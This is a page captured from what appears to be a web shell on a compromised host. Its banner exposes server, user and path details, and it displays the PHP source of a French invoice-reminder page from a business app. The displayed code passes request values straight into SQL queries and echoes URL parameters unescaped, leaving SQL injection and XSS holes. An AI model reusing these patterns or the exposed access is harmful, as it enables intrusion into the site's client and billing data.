|
Server IP : 10.128.40.6 / Your IP : 216.73.216.233 Web Server : Apache System : Linux webd006.cluster128.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64 User : logmcpe ( 111175) PHP Version : 7.3.33 Disable Function : _dyuweyrj4,_dyuweyrj4r,dl MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/logmcpe/www/TMCPRO/pages/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
// require __DIR__ . '/vendor_sms_recu/autoload.php';
// include 'includes_sms_recu/ovhhh.php';
include 'includes/config_tmcpro.php' ;
include 'includes/stable_functions_tmcpro.php' ;
// use \Ovh\Api;
// exit() ;
$page="relance_programee.php";
if(!empty($_POST) and isset($_POST['Enregistrer']))
{
echo "<pre>" ;
print_r($_POST) ;
echo "<pre>" ;
// if(isset($_POST['Modifier']))
// {
// $chantier_recur = 1 ;
// $chantier_ID = $_POST['chantier_ID'] ;
$date_relance_programee = date2int_DSI($_POST['date_relance_programee']) ;
$id_relance_programee = $_POST['id_relance_programee'] ;
dbi_query("UPDATE `relance_programee` SET `date_relance_programee` = '$date_relance_programee' WHERE `relance_programee`.`id_relance_programee` = ".$id_relance_programee) ;
header('Location:relance_programee.php?msg=Date bien Modifié&color=success');
}
// $du= date2int_DSI($_POST['du']) ;
// echo "==>".$du."<br/>" ;
// $au= date2int_DSI($_POST['au']) ;
// echo "==>".$du."<br/>" ;
// echo "==>".$au."<br/>" ;
// exit();
// }
$TOTALREG = 0;
?>
<html>
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<title>MCPRO</title>
<!-- Tell the browser to be responsive to screen width -->
<meta name="viewport" content="width=device-width, initial-scale=1">
<!-- Font Awesome -->
<link rel="stylesheet" href="../plugins/fontawesome-free/css/all.min.css">
<!-- Ionicons -->
<link rel="stylesheet" href="https://code.ionicframework.com/ionicons/2.0.1/css/ionicons.min.css">
<!-- daterange picker -->
<link rel="stylesheet" href="../plugins/daterangepicker/daterangepicker.css">
<!-- iCheck for checkboxes and radio inputs -->
<link rel="stylesheet" href="../plugins/icheck-bootstrap/icheck-bootstrap.min.css">
<!-- Bootstrap Color Picker -->
<link rel="stylesheet" href="../plugins/bootstrap-colorpicker/css/bootstrap-colorpicker.min.css">
<!-- Tempusdominus Bbootstrap 4 -->
<link rel="stylesheet" href="../plugins/tempusdominus-bootstrap-4/css/tempusdominus-bootstrap-4.min.css">
<!-- Select2 -->
<link rel="stylesheet" href="../plugins/select2/css/select2.min.css">
<link rel="stylesheet" href="../plugins/select2-bootstrap4-theme/select2-bootstrap4.min.css">
<!-- Bootstrap4 Duallistbox -->
<link rel="stylesheet" href="../plugins/bootstrap4-duallistbox/bootstrap-duallistbox.min.css">
<!-- Theme style -->
<link rel="stylesheet" href="../../dist/css/adminlte.min.css">
<!-- Google Font: Source Sans Pro -->
<link href="https://fonts.googleapis.com/css?family=Source+Sans+Pro:300,400,400i,700" rel="stylesheet">
<!-- DataTables -->
<link rel="stylesheet" href="../../plugins/datatables-bs4/css/dataTables.bootstrap4.min.css">
<link rel="stylesheet" href="../../plugins/datatables-responsive/css/responsive.bootstrap4.min.css">
<link rel="stylesheet" href="../../plugins/datatables-buttons/css/buttons.bootstrap4.min.css">
<!-- Theme style -->
<style>
.myCollapse {
display: none;
}
.myCollapse.in {
display: block;
}
.modal-header {
padding: 15px;
border-bottom: 1px solid #e5e5e5;
}
.modal-header {
background: #226faa;
background: -webkit-gradient(linear,left top,right top,from(#226faa),color-stop(37%,#2989d8),to(#72c0d3));
background: linear-gradient(to right,#226faa 0,#2989d8 37%,#72c0d3 100%);
border-radius: 6px;
color: #fff;
padding: 18px;
border-bottom-left-radius: 0;
border-bottom-right-radius: 0;
border-color: transparent;
}
.modal-header .close {
margin-top: -3px;
font-size: 24px;
font-weight: 400;
color: #fff;
opacity: .9;
width: 28px;
height: 28px;
padding-bottom: 0;
padding-left: 1px;
}
button.close {
padding: 0;
cursor: pointer;
background: 0 0;
border: 0;
-webkit-appearance: none;
-moz-appearance: none;
appearance: none;
}
</style>
</head>
<body class="hold-transition sidebar-mini">
<!-- Site wrapper -->
<div class="wrapper">
<!-- TOP MENU -->
<nav class="main-header navbar navbar-expand navbar-white navbar-light">
<!-- Menu extensible -->
<ul class="navbar-nav">
<li class="nav-item">
<a class="nav-link" data-widget="pushmenu" href="#"><i class="fas fa-bars"></i></a>
</li>
<!-- liens TOP MENU GAUCHE-->
<li>
</li>
<td>
<a href="non_echu_p_m_all.php"><button type="button" class="btn btn-block btn-secondary" ></i> ENCOURS</button> </a>
</td>
<td>
  <a href="litige_programee.php"><button type="button" class="btn btn-block btn-secondary" ></i> LITIGES</button> </a>
</td>
<td>
  <a href="recouvrement_all.php"> <button type="button" class="btn btn-block btn-secondary" ></i> TACHES EN COURS </button></a>
</td>
</ul>
<!-- liens TOP MENU DROITE -->
<ul class="navbar-nav ml-auto">
<!-- Placer ici l'élément à positionner à droite du TOP MENU -->
</ul>
</nav> <!-- fin du TOP MENU -->
<!-- BARRE DE NAVIGATION -->
<!-- Couleur et caracteristiques de la barre de navigation-->
<?php include('menu.php'); ?>
<div class="modal fade" id="myModal" role="dialog" class="modal fade task-modal-single in" tabindex="-1" aria-labelledby="myLargeModalLabel" >
<div class="modal-dialog modal-lg">
<div class="modal-content data">
<div id="fetch" ></div>
</div>
</div>
</div>
<!-- Ne pas toucher au dessus / fin de la BARRE DE NAVIGATION-->
<!-- DEMARRAGE DE LA PAGE PRINCIPALE -->
<div class="content-wrapper">
<!-- TITRE DE LA PAGE PRINCIPALE A PLACE ENTRE LES BALISES H1 & ARBORESCENCE SUR LA DROITE-->
<section class="content-header">
<div class="container-fluid">
<div class="row mb-2">
</div><!-- /.row -->
</div><!-- /.container-fluid -->
</section>
<section class="content">
<div class="row">
<div class="col-12">
<div class="card card-info">
<div class="card-header">
<h3 class="card-title"> <i class="far fa-credit-card"></i> RELANCES </h3>
</div>
<div class="row">
<div class="col-sm-1"></div>
</div>
<!-- /.card-header example1 -->
<?php
if(isset($_GET["msg"])){
?>
<div class="alert alert-<?php echo $_GET["color"]; ?> alert-dismissible col-12" role="alert">
<strong><?php echo $_GET["color"].': '; ?></strong><?php echo $_GET["msg"]; ?>.
<button type="button" class="close" data-dismiss="alert" aria-label="Close">
<span aria-hidden="true">×</span>
</button>
</div>
<?php
}
?>
<div class="card-body">
<?php
$a = dbi_query("
SELECT c.client_nom ,num_fact,date_fact, total , c.client_id , date_fact , reglement_delai , DATE_ADD(STR_TO_DATE(date_fact, '%Y%m%d'), INTERVAL reglement_delai DAY ) as echu , DATE_ADD( DATE_ADD(STR_TO_DATE(date_fact, '%Y%m%d'), INTERVAL reglement_delai DAY ) , INTERVAL 20 DAY) as echu_plus_vingt , DATE_FORMAT(CURRENT_DATE, '%Y%m%d') as today FROM `client` c , facture f where c.client_id = f.client_id HAVING today BETWEEN echu AND echu_plus_vingt ORDER BY `echu` DESC
") ;
$qu = dbi_query('select * from client order by client_nom ') ;
while( $client=dbi_fetch_row($qu))
{
// echo "aaa <br/>" ;
$cl_id = $client['client_id'] ;
// echo "aaa".$cl_id." <br/>" ;
$requet = dbi_query("SELECT client_nom ,
date_fact , reglement_delai , DATE_ADD(STR_TO_DATE(date_fact, '%Y%m%d'), INTERVAL reglement_delai DAY ) as echu ,
DATE_ADD( DATE_ADD(STR_TO_DATE(date_fact, '%Y%m%d'), INTERVAL reglement_delai DAY ) , INTERVAL 20 DAY) as echu_plus_vingt ,
DATE_FORMAT(CURRENT_DATE, '%Y%m%d') as today ,
f.num_fact, f.fact_id, total,date_debut,date_fin, total-if(p.paye is null, 0, p.paye)-if(a.avoir is null, 0, a.avoir) AS paye,
if(a.avoir is null, 0, a.avoir) avoir, f.date_fact, if(if(p.paye is null, 0, p.paye)+if(a.avoir is null, 0, a.avoir) >= total, 'Réglé',
if(if(p.paye is null, 0, p.paye)+if(a.avoir is null, 0, a.avoir) = 0, 'Pas de règlement', 'Règlement partiel')) statut, f.relance FROM client c , facture f
LEFT JOIN (select if(sum(if(montant is null, 0, montant)) is null, 0, sum(if(montant is null, 0, montant))) paye, fact_id FROM paiement
where client_id = $cl_id group by fact_id) p ON f.fact_id = p.fact_id LEFT JOIN (select if(sum(if(montant is null, 0, montant)) is null, 0,
sum(if(montant is null, 0, montant))) avoir, fact_id FROM avoir group by fact_id) a ON f.fact_id = a.fact_id WHERE
c.client_id = f.client_id AND f.client_id= $cl_id AND if(p.paye is null, 0, p.paye)+if(a.avoir is null, 0, a.avoir) < total
GROUP BY date_fact, f.fact_id, total HAVING today >= echu order by num_fact DESC") ;
// ++++++++++++++++++++++++++++ insertion des nouvelles relances ++++++++++++++++++++++++
while( $res=dbi_fetch_row($requet))
{
$date_relance_programee = str_replace("-", "", $res['echu']);
// echo "===>".$date_relance_programee."<br/>" ;
// $date_relance_programee = $res['echu'] ;
$num_fact = $res['num_fact'] ;
$date_fact = $res['date_fact'] ;
$fact_id = $res['fact_id'] ;
$total = $res['paye'] ;
$reglement_delai = $res['reglement_delai'] ;
list($nbr) = dbi_fetch_row( dbi_query("SELECT count(*) as nbr FROM `relance_programee` WHERE `num_fact` = $num_fact")) ;
// echo "===>".$nbr."<br/>" ;
if($nbr ==0){
dbi_query("INSERT INTO `relance_programee` (`id_relance_programee`,date_fact, `date_relance_programee`, `type_relance_programmee`, `client_id`, `num_fact`,fact_id,total ,reglement_delai)
VALUES (NULL,'$date_fact', '$date_relance_programee', '1', '$cl_id', '$num_fact','$fact_id','$total','$reglement_delai') ") ;
}
}}
$success = 'badge-success';
$echu="
<span class='badge ".$success."'> Relance 1</span> " ;
$warning = 'badge-warning';
$echu .="<span class='badge ".$warning."'> Relance 2 </span> " ;
$badgee = 'badge-danger';
$echu .="<span class='badge ".$badgee."'> Relance 3</span> " ;
echo $echu."<br/>" ;
?>
<table id="example1" class="table table-hover">
<thead>
<tr>
<th>CLIENT </th>
<!-- /.Table Client - Champs client_nom -->
<th>DATE DE FACTURE</th> <!-- /.Table Client - Champs client_adr1 -->
<th>MONTANT</th> <!-- /.Table Client - Champs client_adr1 -->
<th>DATE DE RELANCE</th>
<th>N° DE FACTURE</th> <!-- /.Table Client - Champs client_ville -->
<th> TYPE </th>
<th> ECHEANCE </th>
<th> </th>
</tr>
</thead>
<tbody>
<?php
$todayy = date('Ymd') ;
// echo "ffff==>".$todayy."<br/>" ;
$qu = dbi_query(' SELECT * FROM `relance_programee` where type_relance_programmee != 5 ORDER BY `relance_programee`.`date_relance_programee` ASC ') ;
// echo "==>".$TOTALREG."<br/>" ;
while( $rel=dbi_fetch_row($qu))
{
// echo "==>".$montant_P."<br/>" ;
$client_id = $rel['client_id'] ;
$fact_id = $rel['fact_id'] ;
list($client_nom)= dbi_fetch_row(dbi_query("SELECT client_nom FROM `client` WHERE `client_id` = ".$rel['client_id'])) ;
list($montant_P)=dbi_fetch_row(dbi_query("SELECT sum(montant) FROM `paiement` WHERE fact_id = ".$fact_id));
list($montant_facture)=dbi_fetch_row(dbi_query("SELECT total FROM `facture` WHERE `fact_id` = ".$fact_id));
list($montant_avoir) = dbi_fetch_row(dbi_query("SELECT montant FROM `avoir` where fact_id = $fact_id ")) ;
// echo "SELECT sum(montant) FROM `paiement` WHERE fact_id = ".$fact_id."<br/>" ;
// echo "==>".$montant_P."======".$rel['total']." -- ".$montant_facture."<br/>" ;
// list($nombre) = dbi_fetch_row( dbi_query("SELECT COUNT(*) as nombre FROM `paiement` WHERE `fact_id` = $fact_id and montant = ".$rel['total'])) ;
$all_montant = $montant_P + $montant_avoir ;
if( $all_montant >= $montant_facture)
{
dbi_query("DELETE FROM `relance_programee` WHERE `relance_programee`.`id_relance_programee` = ".$rel['id_relance_programee']) ;
}
else
{
if($rel['type_relance_programmee']==1){ $success = 'badge-success'; $relance_type ="<span class='badge ".$success."'> Relance 1 </span> " ; }
if($rel['type_relance_programmee']==2){ $warning = 'badge-warning'; $relance_type ="<span class='badge ".$warning."'> Relance 2 </span> " ; }
if($rel['type_relance_programmee']==3){ $badgee = 'badge-danger'; $relance_type ="<span class='badge ".$badgee."'> Relance 3 </span> " ; }
if($rel['type_relance_programmee']==4){ $badgee = 'badge-danger'; $relance_type =" <svg xmlns='http://www.w3.org/2000/svg' width='16' height='16' fill='currentColor' class='bi bi-envelope' viewBox='0 0 16 16'>
<path d='M0 4a2 2 0 0 1 2-2h12a2 2 0 0 1 2 2v8a2 2 0 0 1-2 2H2a2 2 0 0 1-2-2V4Zm2-1a1 1 0 0 0-1 1v.217l7 4.2 7-4.2V4a1 1 0 0 0-1-1H2Zm13 2.383-4.708 2.825L15 11.105V5.383Zm-.034 6.876-5.64-3.471L8 9.583l-1.326-.795-5.64 3.47A1 1 0 0 0 2 13h12a1 1 0 0 0 .966-.741ZM1 11.105l4.708-2.897L1 5.383v5.722Z'/>
</svg> MED " ; }
?>
<tr>
<td align=""> <a href="cRvouvrement.php?client_id= <?php echo $client_id ; ?>&pager=<?=$page?>" target="" > <?=$client_nom?> </a></td>
<td align="center"> <?=int2date($rel['date_fact'])?></td>
<td align="center"> <?=$rel['total']?></td>
<td align="center">
<? if($todayy >= $rel['date_relance_programee']){?>
<svg xmlns="http://www.w3.org/2000/svg" width="16" height="16" fill="currentColor" class="bi bi-bell-fill" viewBox="0 0 16 16">
<path d="M8 16a2 2 0 0 0 2-2H6a2 2 0 0 0 2 2zm.995-14.901a1 1 0 1 0-1.99 0A5.002 5.002 0 0 0 3 6c0 1.098-.5 6-2 7h14c-1.5-1-2-5.902-2-7 0-2.42-1.72-4.44-4.005-4.901z"/>
</svg> <?= int2date($rel['date_relance_programee'])?>
<? }else{?>
<?= int2date($rel['date_relance_programee'])?>
<? }?>
</td>
<td align="center"> <?=$rel['num_fact']?></td>
<td align="center"> <?=$relance_type?></td>
<td align="center"> <?=$rel['reglement_delai']?></td>
<TD align="center" nowrap>
<?php echo '<a class="btn btn-info btn-sm" href="#myModal" id="custId" data-toggle="modal" data-id="'.$rel['id_relance_programee'].'"> <i class="fas fa-pencil-alt"></i> </a>';?>
</a>
</TD>
</tr>
<?}}
?>
</tbody>
</table>
</div>
<!-- /.card-body -->
</div>
<!-- /.card -->
</div>
<!-- /.col -->
</div>
<!-- /.row -->
</section>
<!-- /.content -->
</div>
<!-- NE PAS TOUCHER AU DESSUS DESSOUS -->
<!-- DEBUT DU PIED DE PAGE -->
<footer class="main-footer">
<div class="float-right d-none d-sm-block">
<b>Version</b> 3.0.1
</div>
<strong>Copyright © 2019 MCPRO</strong>
</footer>
<!-- FIN DU PIED DE PAGE -->
<!-- NE PAS TOUCHER CI-DESSOUS -->
<!-- Control Sidebar -->
<aside class="control-sidebar control-sidebar-dark">
<!-- Control sidebar content goes here -->
</aside>
<!-- /.control-sidebar -->
</div>
<!-- ./wrapper -->
<script src="../plugins/jquery/jquery.min.js"></script>
<!-- Bootstrap 4 -->
<script src="../plugins/bootstrap/js/bootstrap.bundle.min.js"></script>
<!-- Select2 -->
<script src="../plugins/select2/js/select2.full.min.js"></script>
<!-- Bootstrap4 Duallistbox -->
<script src="../plugins/bootstrap4-duallistbox/jquery.bootstrap-duallistbox.js"></script>
<!-- InputMask -->
<script src="../plugins/moment/moment.min.js"></script>
<script src="../plugins/inputmask/min/jquery.inputmask.bundle.min.js"></script>
<!-- date-range-picker -->
<script src="../plugins/daterangepicker/daterangepicker.js"></script>
<!-- bootstrap color picker -->
<script src="../plugins/bootstrap-colorpicker/js/bootstrap-colorpicker.min.js"></script>
<!-- Tempusdominus Bootstrap 4 -->
<script src="../plugins/tempusdominus-bootstrap-4/js/tempusdominus-bootstrap-4.min.js"></script>
<!-- Bootstrap Switch -->
<script src="../plugins/bootstrap-switch/js/bootstrap-switch.min.js"></script>
<!-- AdminLTE App -->
<script src="../../dist/js/adminlte.min.js"></script>
<!-- AdminLTE for demo purposes -->
<script src="../../dist/js/demo.js"></script>
<!-- Page script -->
<!-- DataTables & Plugins -->
<script src="../../plugins/datatables/jquery.dataTables.min.js"></script>
<script src="../../plugins/datatables-bs4/js/dataTables.bootstrap4.min.js"></script>
<script src="../../plugins/datatables-responsive/js/dataTables.responsive.min.js"></script>
<script src="../../plugins/datatables-responsive/js/responsive.bootstrap4.min.js"></script>
<script src="../../plugins/datatables-buttons/js/dataTables.buttons.min.js"></script>
<script src="../../plugins/datatables-buttons/js/buttons.bootstrap4.min.js"></script>
<script src="../../plugins/jszip/jszip.min.js"></script>
<script src="../../plugins/pdfmake/pdfmake.min.js"></script>
<script src="../../plugins/pdfmake/vfs_fonts.js"></script>
<script src="../../plugins/datatables-buttons/js/buttons.html5.min.js"></script>
<script src="../../plugins/datatables-buttons/js/buttons.print.min.js"></script>
<script src="../../plugins/datatables-buttons/js/buttons.colVis.min.js"></script>
<!-- AdminLTE App -->
<script src="../../dist/js/adminlte.min.js"></script>
<!-- AdminLTE for demo purposes -->
<script src="../../dist/js/demo.js"></script>
<!-- Page specific script -->
<script>
$(function () {
$("#example1").DataTable({
"responsive": true, "lengthChange": false, "autoWidth": false,
"paging": false,
"ordering": false,
"buttons": ["excel", "pdf"]
}).buttons().container().appendTo('#example1_wrapper .col-md-6:eq(0)');
$('#example2').DataTable({
"paging": true,
"lengthChange": false,
"searching": false,
"ordering": true,
"info": true,
"autoWidth": false,
"responsive": true,
});
});
</script>
<script>
$(function () {
//Initialize Select2 Elements
$('.select2').select2()
//Initialize Select2 Elements
$('.select2bs4').select2({
theme: 'bootstrap4'
})
})
</script>
<script type="text/javascript">
$(document).ready(function(){
$('#myModal').on('show.bs.modal', function (e) {
var rowid = $(e.relatedTarget).data('id');
$.ajax({
type : 'post',
url : 'ajaxModifierDate_relance.php', //Here you will fetch records
data : 'rowid='+ rowid, //Pass $id
success : function(data){
$('#fetch').html(data);//Show fetched data from database
}
});
});
});
</script>
</body>
</html>